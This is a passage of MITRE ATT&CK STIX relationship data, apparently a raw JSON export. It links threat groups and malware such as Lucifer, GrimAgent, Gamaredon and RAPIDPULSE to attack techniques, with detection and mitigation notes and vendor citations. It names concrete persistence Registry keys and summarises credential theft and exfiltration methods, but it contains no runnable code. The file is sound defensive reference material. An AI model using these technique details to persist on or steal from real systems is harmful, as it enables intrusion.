2016","url":"https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan","description":"Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BITTER](https://attack.mitre.org/groups/G1002) has used DDNS for C2 communications.(Citation: Forcepoint BITTER Pakistan Oct 2016)","modified":"2022-06-01T21:36:00.639Z","relationship_type":"uses","source_ref":"intrusion-set--7f848c02-4d1e-4808-a4ae-4670681370a9","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25003c87-d031-4f1b-8204-9223f7426d28","type":"relationship","created":"2020-01-24T18:15:06.961Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T18:15:06.962Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25022051-be2f-4cc2-b61a-3de03fc3e8d6","type":"relationship","created":"2020-11-16T20:36:49.663Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-16T20:36:49.663Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can persist by setting Registry key values HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\QQMusic and HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\QQMusic.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--250638f3-ac26-4aec-adf4-9e705822b621","type":"relationship","created":"2020-09-11T14:56:37.214Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T14:56:37.214Z","description":"[Anchor](https://attack.mitre.org/software/S0504) can create a scheduled task for persistence.(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--250af0e7-a45e-4cbe-9cad-5445e8669022","type":"relationship","created":"2020-11-23T18:34:50.090Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.","url":"https://github.com/AlessandroZ/LaZagne","source_name":"GitHub LaZagne Dec 2018"}],"modified":"2020-11-23T18:34:50.090Z","description":"[LaZagne](https://attack.mitre.org/software/S0349) can obtain credentials from Vault files.(Citation: GitHub LaZagne Dec 2018)\t","relationship_type":"uses","source_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--25168e37-9e0c-46ba-9f70-9b5011a96482","created":"2024-09-04T17:24:42.529Z","revoked":false,"external_references":[{"source_name":"Github Covenant","description":"cobbr. (2021, April 21). Covenant. Retrieved September 4, 2024.","url":"https://github.com/cobbr/Covenant"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:24:42.529Z","description":"[Covenant](https://attack.mitre.org/software/S1155) can utilize WMI to install new Grunt listeners through XSL files or command one-liners.(Citation: Github Covenant)","relationship_type":"uses","source_ref":"tool--05fb53c8-e2ac-4e17-a0c9-a0825e1198bf","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--251b010d-270f-44a3-8546-ce7cde631ab7","created":"2021-07-26T14:57:31.448Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.426Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can set persistence with a Registry run key.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--251c7f06-a012-4fe1-9520-21f051a47255","created":"2021-07-26T15:09:24.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.427Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can use the Windows Command Shell to execute commands, including its own removal.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--251e58cb-cd9d-49d3-81bf-b3db94b50375","created":"2024-03-19T18:53:42.653Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T20:05:49.365Z","description":"[PACEMAKER](https://attack.mitre.org/software/S1109) has the ability to extract credentials from OS memory.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--647215dd-29a6-4528-b354-ca8b5e08fca1","target_ref":"attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--25207694-a0db-46df-bbe8-f700aeb80418","created":"2024-10-17T15:35:14.057Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-17T15:35:14.057Z","description":"Consider defining and enforcing a naming convention for user accounts to more easily spot generic account names that do not fit the typical schema.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--252407c3-6cc6-4e80-b7ac-73b2e63887b8","created":"2022-03-30T14:26:51.845Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor logged domain name system (DNS) data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control. ","modified":"2022-07-13T13:15:43.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--252c0e02-0da6-4812-b147-81d9cfb3c998","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"}],"modified":"2020-03-20T21:51:47.206Z","description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) used a proxy server between victims and the C2 server.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--252f3852-504b-493f-98ec-063cc1abab4c","created":"2024-09-19T14:02:17.778Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sans Mutexes 2012","description":"Lenny Zeltser. (2012, July 24). Looking at Mutex Objects for Malware Discovery & Indicators of Compromise. Retrieved September 19, 2024.","url":"https://www.sans.org/blog/looking-at-mutex-objects-for-malware-discovery-indicators-of-compromise/"},{"source_name":"Microsoft CreateMutexA","description":"Microsoft. (2023, February 8). CreateMutexA function (synchapi.h). Retrieved September 19, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-09T15:48:02.153Z","description":"Monitor for suspicious API calls associated with system mutex creation, such as `CreateMutex/CreateMutexA` on Windows systems.(Citation: Microsoft CreateMutexA) For example, it is rare for legitimate programs to create random mutex names.(Citation: Sans Mutexes 2012) Additionally, monitor for suspicious syscalls associated with lock files, such as `flock` on Linux.","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--49fca0d2-685d-41eb-8bd4-05451cc3a742","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2533b541-40a6-4849-a93f-2276c4feefd2","created":"2022-03-30T14:26:51.835Z","x_mitre_version":"0.1","external_references":[{"source_name":"TechNet Autoruns","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."},{"source_name":"TechNet Forum Scheduled Task Operational Setting","url":"https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen","description":"Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed scheduled jobs. If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. On Windows, enable the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service where several events will then be logged on scheduled task activity, including:(Citation: TechNet Forum Scheduled Task Operational Setting)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)","modified":"2022-04-16T20:37:46.796Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3","target_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--25398304-d7db-4180-864c-e123cd2ba041","created":"2022-06-27T15:46:43.044Z","x_mitre_version":"0.1","external_references":[{"source_name":"CrowdStrike IceApple May 2022","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[IceApple](https://attack.mitre.org/software/S1022) .NET assemblies have used `App_Web_` in their file names to appear legitimate.(Citation: CrowdStrike IceApple May 2022)","modified":"2022-06-27T15:52:07.308Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--253ab30c-ec7c-42bc-a27d-984722c59a98","type":"relationship","created":"2019-04-10T15:21:29.500Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2019-06-28T15:05:33.953Z","description":"(Citation: Symantec Elfin Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"malware--f5352566-1a64-49ac-8f7f-97e1d1a03300","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--253b56a5-232f-44bc-af4d-85ccc12a0577","created":"2017-05-31T21:33:27.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Gamaredon June 2020","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"},{"source_name":"TrendMicro Gamaredon April 2020","description":"Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/"},{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"},{"source_name":"Microsoft Actinium February 2022","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022.","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/"},{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:49:13.890Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has downloaded additional malware and tools onto a compromised host.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)(Citation: Microsoft Actinium February 2022) For example, [Gamaredon Group](https://attack.mitre.org/groups/G0047) uses a backdoor script to retrieve and decode additional payloads once in victim environments.(Citation: unit42_gamaredon_dec2022) ","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25407fd4-3940-4446-9c17-6eebe902dbdf","type":"relationship","created":"2019-10-08T19:55:33.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T12:37:53.039Z","description":"Administrators can block end-user consent to OAuth applications, disabling users from authorizing third-party apps through OAuth 2.0 and forcing administrative consent for all requests. They can also block end-user registration of applications by their users, to reduce risk. A Cloud Access Security Broker can also be used to ban applications.\n\nAzure offers a couple of enterprise policy settings in the Azure Management Portal that may help:\n\n\"Users -> User settings -> App registrations: Users can register applications\" can be set to \"no\" to prevent users from registering new applications. \n\"Enterprise applications -> User settings -> Enterprise applications: Users can consent to apps accessing company data on their behalf\" can be set to \"no\" to prevent users from consenting to allow third-party multi-tenant applications","relationship_type":"mitigates","source_ref":"course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96","target_ref":"attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--25424268-9ffb-40ed-8335-249deea323ca","created":"2021-04-14T14:03:30.708Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Operation Saffron Rose 2013","description":"Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-operation-saffron-rose.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-09T16:46:55.722Z","description":"[Ajax Security Team](https://attack.mitre.org/groups/G0130) has used various social media channels to spearphish victims.(Citation: FireEye Operation Saffron Rose 2013)","relationship_type":"uses","source_ref":"intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--254293f3-36af-41fa-9ce8-ea584258f3ba","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T21:59:39.991Z","description":"Monitor for changes made to files that may establish persistence by executing malicious content triggered by user inactivity.\n\nNote: Although there are no standard events for file modification, Windows Event ID 4663 (An Attempt Was Made to Access An Object) can be used to alert on attempted accesses of screensaver files (typically ending in a file extension of .scr). ","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--ce4b7013-640e-48a9-b501-d0025a95f4bf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2542a753-4cfb-408f-98a8-e1b11f1bce10","created":"2023-03-31T17:42:41.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T17:57:43.176Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used various MS-SQL stored procedures.(Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--25446e74-d461-4113-8ff9-9d6984696680","created":"2022-10-05T15:09:29.047Z","revoked":false,"external_references":[{"source_name":"ESET Operation Spalax Jan 2021","description":"M. Porolli. (2021, January 21). Operation Spalax: Targeted malware attacks in Colombia. Retrieved September 16, 2022.","url":"https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-05T15:09:29.047Z","description":"For [Operation Spalax](https://attack.mitre.org/campaigns/C0005), the threat actors used a variety of packers and droppers to decrypt malicious payloads.(Citation: ESET Operation Spalax Jan 2021)","relationship_type":"uses","source_ref":"campaign--4c840263-bbda-440d-a22b-674679ddebf1","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2545e3a8-751e-443b-ad4e-da1843014f6b","created":"2024-03-28T15:48:56.905Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:13:37.828Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) used staging folders that are infrequently used by legitimate users or processes to store data for exfiltration and tool deployment.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--254dea59-0bd6-4966-9eff-d5997a7e91c1","created":"2024-02-13T17:57:05.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-17T16:11:46.320Z","description":"[RAPIDPULSE](https://attack.mitre.org/software/S1113) listens for specific HTTP query parameters in received communications. If specific parameters match, a hard-coded RC4 key is used to decrypt the HTTP query paremter hmacTime. This decrypts to a filename that is then open, read, encrypted with the same RC4 key, base64-encoded, written to standard out, then passed as a response to the HTTP request.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"malware--880f7b3e-ad27-4158-8b03-d44c9357950b","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--25527270-616e-4c53-a85a-03fc0b1e9a96","created":"2022-08-19T19:49:03.537Z","x_mitre_version":"0.1","external_references":[{"source_name":"Google EXOTIC LILY March 2022","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[EXOTIC LILY](https://attack.mitre.org/groups/G1011) has used the e-mail notification features of legitimate file sharing services for spearphishing.(Citation: Google EXOTIC LILY March 2022)","modified":"2022-08-19T19:49:03.537Z","relationship_type":"uses","source_ref":"intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2552aaa5-2cd7-4940-a428-220412851242","type":"relationship","created":"2019-01-30T14:26:43.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group","source_name":"Symantec Gallmaker Oct 